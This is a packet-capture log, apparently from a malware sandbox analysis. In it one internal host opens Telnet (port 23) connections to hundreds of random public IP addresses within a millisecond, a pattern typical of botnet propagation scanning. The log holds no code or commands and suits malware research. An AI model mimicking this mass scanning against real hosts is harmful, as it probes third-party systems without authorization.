Dec 3, 2024 22:01:59.862467051 CET	39808	23	192.168.2.14	14.70.142.212
Dec 3, 2024 22:01:59.862462044 CET	39808	23	192.168.2.14	128.161.30.114
Dec 3, 2024 22:01:59.862462997 CET	39808	23	192.168.2.14	193.49.183.17
Dec 3, 2024 22:01:59.862472057 CET	39808	23	192.168.2.14	143.219.149.54
Dec 3, 2024 22:01:59.862467051 CET	39808	23	192.168.2.14	210.74.210.19
Dec 3, 2024 22:01:59.862462044 CET	39808	23	192.168.2.14	97.151.143.245
Dec 3, 2024 22:01:59.862463951 CET	39808	23	192.168.2.14	205.124.76.247
Dec 3, 2024 22:01:59.862467051 CET	39808	23	192.168.2.14	72.252.221.216
Dec 3, 2024 22:01:59.862462997 CET	39808	23	192.168.2.14	45.195.72.70
Dec 3, 2024 22:01:59.862464905 CET	39808	23	192.168.2.14	135.138.34.162
Dec 3, 2024 22:01:59.862463951 CET	39808	23	192.168.2.14	61.102.46.152
Dec 3, 2024 22:01:59.862467051 CET	39808	23	192.168.2.14	69.247.55.162
Dec 3, 2024 22:01:59.862468958 CET	39808	23	192.168.2.14	60.180.252.75
Dec 3, 2024 22:01:59.862463951 CET	39808	23	192.168.2.14	158.203.26.242
Dec 3, 2024 22:01:59.862464905 CET	39808	23	192.168.2.14	154.57.243.108
Dec 3, 2024 22:01:59.862472057 CET	39808	23	192.168.2.14	195.100.239.208
Dec 3, 2024 22:01:59.862467051 CET	39808	23	192.168.2.14	195.76.82.241
Dec 3, 2024 22:01:59.862464905 CET	39808	23	192.168.2.14	175.145.253.130
Dec 3, 2024 22:01:59.862467051 CET	39808	23	192.168.2.14	65.78.157.20
Dec 3, 2024 22:01:59.862468958 CET	39808	23	192.168.2.14	92.38.136.104
Dec 3, 2024 22:01:59.862464905 CET	39808	23	192.168.2.14	160.135.216.227
Dec 3, 2024 22:01:59.862468958 CET	39808	23	192.168.2.14	89.190.150.69
Dec 3, 2024 22:01:59.862463951 CET	39808	23	192.168.2.14	40.120.172.73
Dec 3, 2024 22:01:59.862468958 CET	39808	23	192.168.2.14	63.159.212.211
Dec 3, 2024 22:01:59.862467051 CET	39808	23	192.168.2.14	43.104.141.215
Dec 3, 2024 22:01:59.862468958 CET	39808	23	192.168.2.14	198.152.174.23
Dec 3, 2024 22:01:59.862467051 CET	39808	23	192.168.2.14	89.218.163.123
Dec 3, 2024 22:01:59.862536907 CET	39808	23	192.168.2.14	131.193.182.54
Dec 3, 2024 22:01:59.862536907 CET	39808	23	192.168.2.14	196.73.121.22
Dec 3, 2024 22:01:59.862536907 CET	39808	23	192.168.2.14	14.136.211.123
Dec 3, 2024 22:01:59.862536907 CET	39808	23	192.168.2.14	184.7.115.224
Dec 3, 2024 22:01:59.862536907 CET	39808	23	192.168.2.14	8.226.44.4
Dec 3, 2024 22:01:59.862536907 CET	39808	23	192.168.2.14	122.215.8.16
Dec 3, 2024 22:01:59.862540007 CET	39808	23	192.168.2.14	221.251.241.251
Dec 3, 2024 22:01:59.862540007 CET	39808	23	192.168.2.14	177.230.239.93
Dec 3, 2024 22:01:59.862540007 CET	39808	23	192.168.2.14	97.247.114.67
Dec 3, 2024 22:01:59.862540007 CET	39808	23	192.168.2.14	73.76.156.168
Dec 3, 2024 22:01:59.862540007 CET	39808	23	192.168.2.14	219.246.174.21
Dec 3, 2024 22:01:59.862550020 CET	39808	23	192.168.2.14	115.38.120.79
Dec 3, 2024 22:01:59.862550020 CET	39808	23	192.168.2.14	169.185.210.240
Dec 3, 2024 22:01:59.862550020 CET	39808	23	192.168.2.14	207.20.208.130
Dec 3, 2024 22:01:59.862550020 CET	39808	23	192.168.2.14	50.100.12.31
Dec 3, 2024 22:01:59.862550974 CET	39808	23	192.168.2.14	222.73.93.37
Dec 3, 2024 22:01:59.862550974 CET	39808	23	192.168.2.14	119.162.54.61
Dec 3, 2024 22:01:59.862550974 CET	39808	23	192.168.2.14	122.20.162.86
Dec 3, 2024 22:01:59.862565041 CET	39808	23	192.168.2.14	59.90.193.67
Dec 3, 2024 22:01:59.862565041 CET	39808	23	192.168.2.14	70.214.28.66
Dec 3, 2024 22:01:59.862565041 CET	39808	23	192.168.2.14	66.214.221.169
Dec 3, 2024 22:01:59.862565041 CET	39808	23	192.168.2.14	197.146.173.147
Dec 3, 2024 22:01:59.862565041 CET	39808	23	192.168.2.14	149.203.109.186
Dec 3, 2024 22:01:59.862565041 CET	39808	23	192.168.2.14	27.148.244.238
Dec 3, 2024 22:01:59.862567902 CET	39808	23	192.168.2.14	90.220.126.41
Dec 3, 2024 22:01:59.862567902 CET	39808	23	192.168.2.14	66.48.92.123
Dec 3, 2024 22:01:59.862586975 CET	39808	23	192.168.2.14	200.214.25.121
Dec 3, 2024 22:01:59.862586975 CET	39808	23	192.168.2.14	123.104.175.31
Dec 3, 2024 22:01:59.862586975 CET	39808	23	192.168.2.14	198.17.196.53
Dec 3, 2024 22:01:59.862586975 CET	39808	23	192.168.2.14	57.173.44.141
Dec 3, 2024 22:01:59.862586975 CET	39808	23	192.168.2.14	46.236.147.29
Dec 3, 2024 22:01:59.862586975 CET	39808	23	192.168.2.14	48.34.198.188
Dec 3, 2024 22:01:59.862586975 CET	39808	23	192.168.2.14	78.49.218.0
Dec 3, 2024 22:01:59.862586975 CET	39808	23	192.168.2.14	47.107.208.217
Dec 3, 2024 22:01:59.862588882 CET	39808	23	192.168.2.14	181.162.98.154
Dec 3, 2024 22:01:59.862588882 CET	39808	23	192.168.2.14	192.115.242.217
Dec 3, 2024 22:01:59.862588882 CET	39808	23	192.168.2.14	91.200.13.185
Dec 3, 2024 22:01:59.862588882 CET	39808	23	192.168.2.14	198.181.223.122
Dec 3, 2024 22:01:59.862588882 CET	39808	23	192.168.2.14	143.25.199.21
Dec 3, 2024 22:01:59.862588882 CET	39808	23	192.168.2.14	94.182.226.117
Dec 3, 2024 22:01:59.862588882 CET	39808	23	192.168.2.14	84.29.78.100
Dec 3, 2024 22:01:59.862588882 CET	39808	23	192.168.2.14	135.5.244.226
Dec 3, 2024 22:01:59.862595081 CET	39808	23	192.168.2.14	157.54.143.191
Dec 3, 2024 22:01:59.862595081 CET	39808	23	192.168.2.14	163.183.101.176
Dec 3, 2024 22:01:59.862595081 CET	39808	23	192.168.2.14	219.94.155.198
Dec 3, 2024 22:01:59.862595081 CET	39808	23	192.168.2.14	73.215.30.204
Dec 3, 2024 22:01:59.862595081 CET	39808	23	192.168.2.14	83.126.32.218
Dec 3, 2024 22:01:59.862595081 CET	39808	23	192.168.2.14	193.104.160.9
Dec 3, 2024 22:01:59.862596035 CET	39808	23	192.168.2.14	154.19.5.90
Dec 3, 2024 22:01:59.862596035 CET	39808	23	192.168.2.14	106.94.213.34
Dec 3, 2024 22:01:59.862602949 CET	39808	23	192.168.2.14	157.191.153.182
Dec 3, 2024 22:01:59.862602949 CET	39808	23	192.168.2.14	136.255.16.98
Dec 3, 2024 22:01:59.862602949 CET	39808	23	192.168.2.14	155.143.127.153
Dec 3, 2024 22:01:59.862602949 CET	39808	23	192.168.2.14	78.118.253.168
Dec 3, 2024 22:01:59.862602949 CET	39808	23	192.168.2.14	1.151.38.158
Dec 3, 2024 22:01:59.862602949 CET	39808	23	192.168.2.14	89.167.95.249
Dec 3, 2024 22:01:59.862602949 CET	39808	23	192.168.2.14	177.143.197.201
Dec 3, 2024 22:01:59.862602949 CET	39808	23	192.168.2.14	200.89.38.125
Dec 3, 2024 22:01:59.862607002 CET	39808	23	192.168.2.14	114.125.101.1
Dec 3, 2024 22:01:59.862607002 CET	39808	23	192.168.2.14	98.133.31.239
Dec 3, 2024 22:01:59.862607002 CET	39808	23	192.168.2.14	211.84.195.209
Dec 3, 2024 22:01:59.862607002 CET	39808	23	192.168.2.14	24.210.56.75
Dec 3, 2024 22:01:59.862607002 CET	39808	23	192.168.2.14	62.49.108.196
Dec 3, 2024 22:01:59.862607002 CET	39808	23	192.168.2.14	209.121.42.212
Dec 3, 2024 22:01:59.862607002 CET	39808	23	192.168.2.14	204.186.143.27
Dec 3, 2024 22:01:59.862607002 CET	39808	23	192.168.2.14	157.93.182.3
Dec 3, 2024 22:01:59.862610102 CET	39808	23	192.168.2.14	179.94.86.18
Dec 3, 2024 22:01:59.862610102 CET	39808	23	192.168.2.14	13.204.108.161
Dec 3, 2024 22:01:59.862610102 CET	39808	23	192.168.2.14	129.153.238.126
Dec 3, 2024 22:01:59.862610102 CET	39808	23	192.168.2.14	97.210.44.211
Dec 3, 2024 22:01:59.862610102 CET	39808	23	192.168.2.14	211.79.38.37
Dec 3, 2024 22:01:59.862611055 CET	39808	23	192.168.2.14	32.118.122.70
Dec 3, 2024 22:01:59.862611055 CET	39808	23	192.168.2.14	37.154.110.96
Dec 3, 2024 22:01:59.862611055 CET	39808	23	192.168.2.14	5.28.99.30
Dec 3, 2024 22:01:59.862616062 CET	39808	23	192.168.2.14	68.154.221.172
Dec 3, 2024 22:01:59.862616062 CET	39808	23	192.168.2.14	223.70.82.163
Dec 3, 2024 22:01:59.862616062 CET	39808	23	192.168.2.14	50.109.181.124
Dec 3, 2024 22:01:59.862616062 CET	39808	23	192.168.2.14	87.42.87.210
Dec 3, 2024 22:01:59.862616062 CET	39808	23	192.168.2.14	184.39.44.13
Dec 3, 2024 22:01:59.862616062 CET	39808	23	192.168.2.14	223.138.78.164
Dec 3, 2024 22:01:59.862616062 CET	39808	23	192.168.2.14	179.117.238.212
Dec 3, 2024 22:01:59.862616062 CET	39808	23	192.168.2.14	213.143.227.28
Dec 3, 2024 22:01:59.862622976 CET	39808	23	192.168.2.14	164.92.109.125
Dec 3, 2024 22:01:59.862622976 CET	39808	23	192.168.2.14	44.194.102.205
Dec 3, 2024 22:01:59.862622976 CET	39808	23	192.168.2.14	139.132.143.137
Dec 3, 2024 22:01:59.862622976 CET	39808	23	192.168.2.14	190.140.68.222
Dec 3, 2024 22:01:59.862628937 CET	39808	23	192.168.2.14	99.115.112.215
Dec 3, 2024 22:01:59.862628937 CET	39808	23	192.168.2.14	48.203.250.238
Dec 3, 2024 22:01:59.862628937 CET	39808	23	192.168.2.14	75.185.249.4
Dec 3, 2024 22:01:59.862628937 CET	39808	23	192.168.2.14	156.172.195.230
Dec 3, 2024 22:01:59.862628937 CET	39808	23	192.168.2.14	192.239.154.120
Dec 3, 2024 22:01:59.862628937 CET	39808	23	192.168.2.14	177.216.30.14
Dec 3, 2024 22:01:59.862629890 CET	39808	23	192.168.2.14	111.42.9.5
Dec 3, 2024 22:01:59.862629890 CET	39808	23	192.168.2.14	107.42.186.231
Dec 3, 2024 22:01:59.862629890 CET	39808	23	192.168.2.14	94.85.103.8
Dec 3, 2024 22:01:59.862629890 CET	39808	23	192.168.2.14	71.98.228.218
Dec 3, 2024 22:01:59.862629890 CET	39808	23	192.168.2.14	43.29.40.255
Dec 3, 2024 22:01:59.862629890 CET	39808	23	192.168.2.14	168.120.195.153
Dec 3, 2024 22:01:59.862629890 CET	39808	23	192.168.2.14	213.91.103.106
Dec 3, 2024 22:01:59.862629890 CET	39808	23	192.168.2.14	106.233.226.101
Dec 3, 2024 22:01:59.862629890 CET	39808	23	192.168.2.14	85.125.179.23
Dec 3, 2024 22:01:59.862629890 CET	39808	23	192.168.2.14	2.125.189.180
Dec 3, 2024 22:01:59.862629890 CET	39808	23	192.168.2.14	204.81.45.69
Dec 3, 2024 22:01:59.862629890 CET	39808	23	192.168.2.14	83.87.174.18
Dec 3, 2024 22:01:59.862629890 CET	39808	23	192.168.2.14	58.54.126.219
Dec 3, 2024 22:01:59.862629890 CET	39808	23	192.168.2.14	131.23.154.250
Dec 3, 2024 22:01:59.862629890 CET	39808	23	192.168.2.14	216.89.243.138
Dec 3, 2024 22:01:59.862631083 CET	39808	23	192.168.2.14	131.43.51.191
Dec 3, 2024 22:01:59.862646103 CET	39808	23	192.168.2.14	100.223.236.216
Dec 3, 2024 22:01:59.862646103 CET	39808	23	192.168.2.14	149.239.193.250
Dec 3, 2024 22:01:59.862646103 CET	39808	23	192.168.2.14	19.95.91.151
Dec 3, 2024 22:01:59.862646103 CET	39808	23	192.168.2.14	103.154.53.164
Dec 3, 2024 22:01:59.862648010 CET	39808	23	192.168.2.14	36.31.112.64
Dec 3, 2024 22:01:59.862648964 CET	39808	23	192.168.2.14	181.157.178.18
Dec 3, 2024 22:01:59.862648964 CET	39808	23	192.168.2.14	216.116.63.199
Dec 3, 2024 22:01:59.862648964 CET	39808	23	192.168.2.14	168.83.228.67
Dec 3, 2024 22:01:59.862648964 CET	39808	23	192.168.2.14	120.32.139.89
Dec 3, 2024 22:01:59.862648964 CET	39808	23	192.168.2.14	180.236.21.186
Dec 3, 2024 22:01:59.862648964 CET	39808	23	192.168.2.14	5.30.215.216
Dec 3, 2024 22:01:59.862648964 CET	39808	23	192.168.2.14	208.22.140.37
Dec 3, 2024 22:01:59.862657070 CET	39808	23	192.168.2.14	140.216.188.114
Dec 3, 2024 22:01:59.862657070 CET	39808	23	192.168.2.14	179.108.223.187
Dec 3, 2024 22:01:59.862657070 CET	39808	23	192.168.2.14	92.224.112.21
Dec 3, 2024 22:01:59.862657070 CET	39808	23	192.168.2.14	211.199.232.153
Dec 3, 2024 22:01:59.862657070 CET	39808	23	192.168.2.14	182.81.103.138
Dec 3, 2024 22:01:59.862657070 CET	39808	23	192.168.2.14	110.193.181.207
Dec 3, 2024 22:01:59.862657070 CET	39808	23	192.168.2.14	134.191.38.115
Dec 3, 2024 22:01:59.862657070 CET	39808	23	192.168.2.14	48.215.176.139
Dec 3, 2024 22:01:59.862659931 CET	39808	23	192.168.2.14	57.63.138.34
Dec 3, 2024 22:01:59.862660885 CET	39808	23	192.168.2.14	189.172.189.225
Dec 3, 2024 22:01:59.862660885 CET	39808	23	192.168.2.14	1.20.166.238
Dec 3, 2024 22:01:59.862660885 CET	39808	23	192.168.2.14	17.100.105.251
Dec 3, 2024 22:01:59.862660885 CET	39808	23	192.168.2.14	162.132.44.170
Dec 3, 2024 22:01:59.862660885 CET	39808	23	192.168.2.14	183.147.235.208
Dec 3, 2024 22:01:59.862660885 CET	39808	23	192.168.2.14	43.69.8.116
Dec 3, 2024 22:01:59.862660885 CET	39808	23	192.168.2.14	18.17.41.146
Dec 3, 2024 22:01:59.862660885 CET	39808	23	192.168.2.14	210.158.214.87
Dec 3, 2024 22:01:59.862660885 CET	39808	23	192.168.2.14	35.254.49.210
Dec 3, 2024 22:01:59.862660885 CET	39808	23	192.168.2.14	116.214.161.223
Dec 3, 2024 22:01:59.862660885 CET	39808	23	192.168.2.14	71.170.132.108
Dec 3, 2024 22:01:59.862660885 CET	39808	23	192.168.2.14	126.244.83.55
Dec 3, 2024 22:01:59.862664938 CET	39808	23	192.168.2.14	5.87.138.141
Dec 3, 2024 22:01:59.862664938 CET	39808	23	192.168.2.14	222.107.128.148
Dec 3, 2024 22:01:59.862664938 CET	39808	23	192.168.2.14	163.238.132.116
Dec 3, 2024 22:01:59.862664938 CET	39808	23	192.168.2.14	219.10.18.83
Dec 3, 2024 22:01:59.862664938 CET	39808	23	192.168.2.14	121.222.115.49
Dec 3, 2024 22:01:59.862664938 CET	39808	23	192.168.2.14	123.178.156.86
Dec 3, 2024 22:01:59.862664938 CET	39808	23	192.168.2.14	65.88.140.219
Dec 3, 2024 22:01:59.862664938 CET	39808	23	192.168.2.14	63.200.156.177
Dec 3, 2024 22:01:59.862673044 CET	39808	23	192.168.2.14	104.184.132.176
Dec 3, 2024 22:01:59.862673998 CET	39808	23	192.168.2.14	2.43.252.40
Dec 3, 2024 22:01:59.862673998 CET	39808	23	192.168.2.14	97.193.32.166
Dec 3, 2024 22:01:59.862673998 CET	39808	23	192.168.2.14	61.122.138.115
Dec 3, 2024 22:01:59.862673998 CET	39808	23	192.168.2.14	73.243.26.183
Dec 3, 2024 22:01:59.862675905 CET	39808	23	192.168.2.14	159.216.226.96
Dec 3, 2024 22:01:59.862675905 CET	39808	23	192.168.2.14	20.242.237.230
Dec 3, 2024 22:01:59.862673998 CET	39808	23	192.168.2.14	72.51.75.152
Dec 3, 2024 22:01:59.862678051 CET	39808	23	192.168.2.14	90.163.181.80
Dec 3, 2024 22:01:59.862673998 CET	39808	23	192.168.2.14	61.13.44.178
Dec 3, 2024 22:01:59.862678051 CET	39808	23	192.168.2.14	139.29.206.154
Dec 3, 2024 22:01:59.862674952 CET	39808	23	192.168.2.14	133.92.193.43
Dec 3, 2024 22:01:59.862678051 CET	39808	23	192.168.2.14	173.149.34.58
Dec 3, 2024 22:01:59.862674952 CET	39808	23	192.168.2.14	159.229.72.89
Dec 3, 2024 22:01:59.862675905 CET	39808	23	192.168.2.14	86.108.165.179
Dec 3, 2024 22:01:59.862679005 CET	39808	23	192.168.2.14	100.26.17.43
Dec 3, 2024 22:01:59.862678051 CET	39808	23	192.168.2.14	216.159.60.213
Dec 3, 2024 22:01:59.862675905 CET	39808	23	192.168.2.14	37.70.111.154
Dec 3, 2024 22:01:59.862675905 CET	39808	23	192.168.2.14	131.178.246.94
Dec 3, 2024 22:01:59.862675905 CET	39808	23	192.168.2.14	191.221.10.136
Dec 3, 2024 22:01:59.862675905 CET	39808	23	192.168.2.14	188.115.7.170
Dec 3, 2024 22:01:59.862675905 CET	39808	23	192.168.2.14	78.245.83.161
Dec 3, 2024 22:01:59.862675905 CET	39808	23	192.168.2.14	184.15.0.18
Dec 3, 2024 22:01:59.862690926 CET	39808	23	192.168.2.14	50.185.182.208
Dec 3, 2024 22:01:59.862693071 CET	39808	23	192.168.2.14	175.250.66.205
Dec 3, 2024 22:01:59.862694025 CET	39808	23	192.168.2.14	9.113.245.163
Dec 3, 2024 22:01:59.862694025 CET	39808	23	192.168.2.14	24.179.168.225
Dec 3, 2024 22:01:59.862694025 CET	39808	23	192.168.2.14	107.117.164.175
Dec 3, 2024 22:01:59.862694025 CET	39808	23	192.168.2.14	178.235.17.227
Dec 3, 2024 22:01:59.862694979 CET	39808	23	192.168.2.14	170.241.217.196
Dec 3, 2024 22:01:59.862694979 CET	39808	23	192.168.2.14	44.11.85.235
Dec 3, 2024 22:01:59.862694979 CET	39808	23	192.168.2.14	9.87.48.119
Dec 3, 2024 22:01:59.862695932 CET	39808	23	192.168.2.14	52.34.18.96
Dec 3, 2024 22:01:59.862695932 CET	39808	23	192.168.2.14	212.69.218.79
Dec 3, 2024 22:01:59.862701893 CET	39808	23	192.168.2.14	50.143.66.129
Dec 3, 2024 22:01:59.862706900 CET	39808	23	192.168.2.14	98.96.71.132
Dec 3, 2024 22:01:59.862711906 CET	39808	23	192.168.2.14	116.38.110.81
Dec 3, 2024 22:01:59.862724066 CET	39808	23	192.168.2.14	178.75.167.248
Dec 3, 2024 22:01:59.862726927 CET	39808	23	192.168.2.14	173.67.92.124
Dec 3, 2024 22:01:59.862729073 CET	39808	23	192.168.2.14	207.114.192.40
Dec 3, 2024 22:01:59.862729073 CET	39808	23	192.168.2.14	134.145.141.91
Dec 3, 2024 22:01:59.862756014 CET	39808	23	192.168.2.14	126.189.1.252
Dec 3, 2024 22:01:59.862756014 CET	39808	23	192.168.2.14	5.110.41.153
Dec 3, 2024 22:01:59.862756014 CET	39808	23	192.168.2.14	78.47.95.102
Dec 3, 2024 22:01:59.862761974 CET	39808	23	192.168.2.14	151.17.3.88
Dec 3, 2024 22:01:59.862762928 CET	39808	23	192.168.2.14	67.88.122.182
Dec 3, 2024 22:01:59.862762928 CET	39808	23	192.168.2.14	110.83.234.169
Dec 3, 2024 22:01:59.862762928 CET	39808	23	192.168.2.14	221.29.52.126
Dec 3, 2024 22:01:59.862771034 CET	39808	23	192.168.2.14	170.10.102.253
Dec 3, 2024 22:01:59.862771988 CET	39808	23	192.168.2.14	180.245.161.177
Dec 3, 2024 22:01:59.862776995 CET	39808	23	192.168.2.14	130.191.73.89
Dec 3, 2024 22:01:59.862783909 CET	39808	23	192.168.2.14	81.254.181.112
Dec 3, 2024 22:01:59.862797976 CET	39808	23	192.168.2.14	187.180.169.245
Dec 3, 2024 22:01:59.862801075 CET	39808	23	192.168.2.14	178.16.66.255
Dec 3, 2024 22:01:59.862803936 CET	39808	23	192.168.2.14	80.135.48.142
Dec 3, 2024 22:01:59.862806082 CET	39808	23	192.168.2.14	81.239.86.199
Dec 3, 2024 22:01:59.862822056 CET	39808	23	192.168.2.14	54.69.49.80
Dec 3, 2024 22:01:59.862823963 CET	39808	23	192.168.2.14	59.55.201.220
Dec 3, 2024 22:01:59.862823963 CET	39808	23	192.168.2.14	209.199.98.106
Dec 3, 2024 22:01:59.862828970 CET	39808	23	192.168.2.14	152.101.103.103
Dec 3, 2024 22:01:59.862829924 CET	39808	23	192.168.2.14	132.53.68.117
Dec 3, 2024 22:01:59.862829924 CET	39808	23	192.168.2.14	24.49.212.212
Dec 3, 2024 22:01:59.862835884 CET	39808	23	192.168.2.14	82.50.250.4
Dec 3, 2024 22:01:59.862838030 CET	39808	23	192.168.2.14	142.103.81.115
Dec 3, 2024 22:01:59.862842083 CET	39808	23	192.168.2.14	145.196.90.142
Dec 3, 2024 22:01:59.862842083 CET	39808	23	192.168.2.14	205.227.201.11
Dec 3, 2024 22:01:59.862842083 CET	39808	23	192.168.2.14	141.255.74.13
Dec 3, 2024 22:01:59.862845898 CET	39808	23	192.168.2.14	95.171.12.63
Dec 3, 2024 22:01:59.862860918 CET	39808	23	192.168.2.14	17.34.54.178
Dec 3, 2024 22:01:59.862865925 CET	39808	23	192.168.2.14	182.240.211.137
Dec 3, 2024 22:01:59.862867117 CET	39808	23	192.168.2.14	114.151.227.225
Dec 3, 2024 22:01:59.862881899 CET	39808	23	192.168.2.14	130.192.216.100
Dec 3, 2024 22:01:59.862883091 CET	39808	23	192.168.2.14	199.123.37.179
Dec 3, 2024 22:01:59.862893105 CET	39808	23	192.168.2.14	140.100.7.75
Dec 3, 2024 22:01:59.862901926 CET	39808	23	192.168.2.14	58.79.101.216
Dec 3, 2024 22:01:59.862901926 CET	39808	23	192.168.2.14	132.199.148.93
Dec 3, 2024 22:01:59.862901926 CET	39808	23	192.168.2.14	118.84.250.99
Dec 3, 2024 22:01:59.862903118 CET	39808	23	192.168.2.14	194.210.212.138
Dec 3, 2024 22:01:59.862919092 CET	39808	23	192.168.2.14	86.221.194.2
Dec 3, 2024 22:01:59.862925053 CET	39808	23	192.168.2.14	160.228.199.73
Dec 3, 2024 22:01:59.862927914 CET	39808	23	192.168.2.14	170.35.143.217
Dec 3, 2024 22:01:59.862930059 CET	39808	23	192.168.2.14	79.34.124.64
Dec 3, 2024 22:01:59.862934113 CET	39808	23	192.168.2.14	71.113.200.244
Dec 3, 2024 22:01:59.862945080 CET	39808	23	192.168.2.14	17.125.117.53
Dec 3, 2024 22:01:59.862945080 CET	39808	23	192.168.2.14	153.16.38.132
Dec 3, 2024 22:01:59.862945080 CET	39808	23	192.168.2.14	46.55.102.241
Dec 3, 2024 22:01:59.862945080 CET	39808	23	192.168.2.14	104.228.128.5
Dec 3, 2024 22:01:59.862950087 CET	39808	23	192.168.2.14	128.89.105.127
Dec 3, 2024 22:01:59.862950087 CET	39808	23	192.168.2.14	48.77.51.250
Dec 3, 2024 22:01:59.862957001 CET	39808	23	192.168.2.14	78.228.212.108
Dec 3, 2024 22:01:59.862957001 CET	39808	23	192.168.2.14	83.109.25.162
Dec 3, 2024 22:01:59.862958908 CET	39808	23	192.168.2.14	70.65.126.106
Dec 3, 2024 22:01:59.862967968 CET	39808	23	192.168.2.14	124.4.150.96
Dec 3, 2024 22:01:59.862967968 CET	39808	23	192.168.2.14	42.176.201.150
Dec 3, 2024 22:01:59.862967968 CET	39808	23	192.168.2.14	143.190.149.25
Dec 3, 2024 22:01:59.862971067 CET	39808	23	192.168.2.14	147.201.169.55
Dec 3, 2024 22:01:59.862973928 CET	39808	23	192.168.2.14	90.145.251.71
Dec 3, 2024 22:01:59.862974882 CET	39808	23	192.168.2.14	163.70.21.31
Dec 3, 2024 22:01:59.862974882 CET	39808	23	192.168.2.14	100.57.77.173
Dec 3, 2024 22:01:59.862977028 CET	39808	23	192.168.2.14	218.99.116.20
Dec 3, 2024 22:01:59.862977028 CET	39808	23	192.168.2.14	210.157.205.199
Dec 3, 2024 22:01:59.862981081 CET	39808	23	192.168.2.14	51.86.176.54
Dec 3, 2024 22:01:59.862983942 CET	39808	23	192.168.2.14	69.215.0.103
Dec 3, 2024 22:01:59.862983942 CET	39808	23	192.168.2.14	122.126.99.118
Dec 3, 2024 22:01:59.862983942 CET	39808	23	192.168.2.14	23.129.118.2
Dec 3, 2024 22:01:59.862983942 CET	39808	23	192.168.2.14	157.25.241.144
Dec 3, 2024 22:01:59.862996101 CET	39808	23	192.168.2.14	35.43.172.200
Dec 3, 2024 22:01:59.862997055 CET	39808	23	192.168.2.14	213.126.210.187
Dec 3, 2024 22:01:59.862996101 CET	39808	23	192.168.2.14	124.23.142.132
Dec 3, 2024 22:01:59.862998009 CET	39808	23	192.168.2.14	107.136.246.211
Dec 3, 2024 22:01:59.862996101 CET	39808	23	192.168.2.14	166.28.106.18
Dec 3, 2024 22:01:59.862996101 CET	39808	23	192.168.2.14	138.247.140.39
Dec 3, 2024 22:01:59.863006115 CET	39808	23	192.168.2.14	27.36.12.56
Dec 3, 2024 22:01:59.863007069 CET	39808	23	192.168.2.14	84.87.16.94
Dec 3, 2024 22:01:59.863006115 CET	39808	23	192.168.2.14	93.118.129.224
Dec 3, 2024 22:01:59.863007069 CET	39808	23	192.168.2.14	19.128.102.228
Dec 3, 2024 22:01:59.863006115 CET	39808	23	192.168.2.14	76.118.22.201
Dec 3, 2024 22:01:59.863009930 CET	39808	23	192.168.2.14	90.95.96.80
Dec 3, 2024 22:01:59.863009930 CET	39808	23	192.168.2.14	61.99.141.221
Dec 3, 2024 22:01:59.863014936 CET	39808	23	192.168.2.14	179.177.197.89
Dec 3, 2024 22:01:59.863020897 CET	39808	23	192.168.2.14	46.131.15.253
Dec 3, 2024 22:01:59.863032103 CET	39808	23	192.168.2.14	58.146.255.171
Dec 3, 2024 22:01:59.863035917 CET	39808	23	192.168.2.14	151.60.71.157
Dec 3, 2024 22:01:59.863035917 CET	39808	23	192.168.2.14	130.236.135.227
Dec 3, 2024 22:01:59.863037109 CET	39808	23	192.168.2.14	122.48.59.75
Dec 3, 2024 22:01:59.863037109 CET	39808	23	192.168.2.14	136.232.214.108
Dec 3, 2024 22:01:59.863040924 CET	39808	23	192.168.2.14	217.143.187.19
Dec 3, 2024 22:01:59.863040924 CET	39808	23	192.168.2.14	137.62.26.134
Dec 3, 2024 22:01:59.863044977 CET	39808	23	192.168.2.14	137.8.144.51
Dec 3, 2024 22:01:59.863044977 CET	39808	23	192.168.2.14	212.231.161.120
Dec 3, 2024 22:01:59.863049984 CET	39808	23	192.168.2.14	67.111.47.91
Dec 3, 2024 22:01:59.863049984 CET	39808	23	192.168.2.14	220.142.121.172
Dec 3, 2024 22:01:59.863061905 CET	39808	23	192.168.2.14	64.168.242.110
Dec 3, 2024 22:01:59.863061905 CET	39808	23	192.168.2.14	121.132.20.130
Dec 3, 2024 22:01:59.863061905 CET	39808	23	192.168.2.14	157.254.192.98
Dec 3, 2024 22:01:59.863070011 CET	39808	23	192.168.2.14	80.132.232.171
Dec 3, 2024 22:01:59.863084078 CET	39808	23	192.168.2.14	178.234.125.31
Dec 3, 2024 22:01:59.863085985 CET	39808	23	192.168.2.14	142.132.77.132
Dec 3, 2024 22:01:59.863085985 CET	39808	23	192.168.2.14	123.217.206.104
Dec 3, 2024 22:01:59.863089085 CET	39808	23	192.168.2.14	142.228.248.158
Dec 3, 2024 22:01:59.863089085 CET	39808	23	192.168.2.14	161.11.213.144
Dec 3, 2024 22:01:59.863100052 CET	39808	23	192.168.2.14	23.109.100.17
Dec 3, 2024 22:01:59.863100052 CET	39808	23	192.168.2.14	36.226.35.179
Dec 3, 2024 22:01:59.863100052 CET	39808	23	192.168.2.14	186.144.133.189
Dec 3, 2024 22:01:59.863100052 CET	39808	23	192.168.2.14	217.151.36.168
Dec 3, 2024 22:01:59.863101959 CET	39808	23	192.168.2.14	111.151.187.221
Dec 3, 2024 22:01:59.863101959 CET	39808	23	192.168.2.14	1.87.185.71
Dec 3, 2024 22:01:59.863102913 CET	39808	23	192.168.2.14	203.198.84.173
Dec 3, 2024 22:01:59.863106012 CET	39808	23	192.168.2.14	149.135.50.95
Dec 3, 2024 22:01:59.863114119 CET	39808	23	192.168.2.14	179.4.222.3
Dec 3, 2024 22:01:59.863114119 CET	39808	23	192.168.2.14	118.14.137.71
Dec 3, 2024 22:01:59.863115072 CET	39808	23	192.168.2.14	37.253.131.71
Dec 3, 2024 22:01:59.863114119 CET	39808	23	192.168.2.14	100.154.96.92
Dec 3, 2024 22:01:59.863116026 CET	39808	23	192.168.2.14	216.141.163.24
Dec 3, 2024 22:01:59.863120079 CET	39808	23	192.168.2.14	200.239.232.153
Dec 3, 2024 22:01:59.863120079 CET	39808	23	192.168.2.14	94.27.69.15
Dec 3, 2024 22:01:59.863130093 CET	39808	23	192.168.2.14	18.104.227.247
Dec 3, 2024 22:01:59.863131046 CET	39808	23	192.168.2.14	59.85.23.47
Dec 3, 2024 22:01:59.863136053 CET	39808	23	192.168.2.14	31.164.150.128
Dec 3, 2024 22:01:59.863140106 CET	39808	23	192.168.2.14	98.233.253.68
Dec 3, 2024 22:01:59.863141060 CET	39808	23	192.168.2.14	17.189.172.5
Dec 3, 2024 22:01:59.863141060 CET	39808	23	192.168.2.14	85.175.64.4
Dec 3, 2024 22:01:59.863141060 CET	39808	23	192.168.2.14	8.248.134.158
Dec 3, 2024 22:01:59.863141060 CET	39808	23	192.168.2.14	80.187.170.85
